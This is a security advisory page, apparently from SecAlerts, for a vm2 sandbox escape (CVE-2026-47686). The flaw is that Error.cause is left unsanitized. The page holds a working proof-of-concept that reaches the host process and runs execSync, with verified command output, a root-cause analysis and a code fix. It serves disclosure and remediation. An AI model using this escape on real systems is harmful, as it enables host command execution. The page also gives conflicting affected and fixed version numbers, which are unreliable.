CVE-2026-47686: Critical severity npm/vm2 vulnerability

Published Aug 17, 2026
·
Updated

Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)

Summary

I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.

The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.

Root Cause

The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.

javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked }

Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.

Affected Code

- lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling) - lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause - docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered

Reproduction

Embedder code that exposes a function throwing with .cause set to process:

javascript const { VM } = require('vm2');

const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } });

const result = vm.run( try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('childprocess').execSync('id').toString(); } );

console.log(result);

Verified output:

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Full RCE confirmed.

Impact

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

- Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

Suggested Fix

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]);

// Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { / best effort / }

let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; }

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

Artifacts

| File | Role | |------|------| | pocerrorcauseescape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause | pocerrorcauseescape.js

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.5
3.11.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.6
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.3
  3. Configuration

    In vm2's sandbox exception handler (lib/setup-sandbox.js, handleException), add sanitization for ES2022 Error.cause before the prototype-chain walk so it applies to all error types (covers when an embedder-exposed function throws an Error with `.cause` referencing a powerful host object such as `process`).

    vm2 (sandbox error handling: lib/setup-sandbox.js) Sanitize Error.cause = true
  4. Configuration

    Update docs/ATTACKS.md Defense Invariant #3 to reflect that Error.cause is not covered until the fix ships (the text currently claims `.cause` is sanitized).

    vm2 documentation (docs/ATTACKS.md) Defense Invariant #3 claim about Error.cause = updated_to_reflect_reality_until_fix_ships
  5. Compensating control

    If you cannot patch vm2 immediately, avoid exposing host functions to the vm that can throw Errors using ES2022 error chaining with `{ cause: ... }` that references host objects (e.g., `process`).

Event History

Aug 17, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-47686?

CVE-2026-47686 has a critical severity score of 9.9.

2

How do I fix CVE-2026-47686?

To mitigate CVE-2026-47686, upgrade vm2 to version 3.11.6 or later.

3

What is the risk associated with CVE-2026-47686?

CVE-2026-47686 has a risk level of 82, indicating it poses a significant threat.

4

What software is affected by CVE-2026-47686?

CVE-2026-47686 affects versions of vm2 up to and including 3.11.3.

5

What type of vulnerability is CVE-2026-47686 classified as?

CVE-2026-47686 is classified as a protection mechanism failure under CWE-693.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203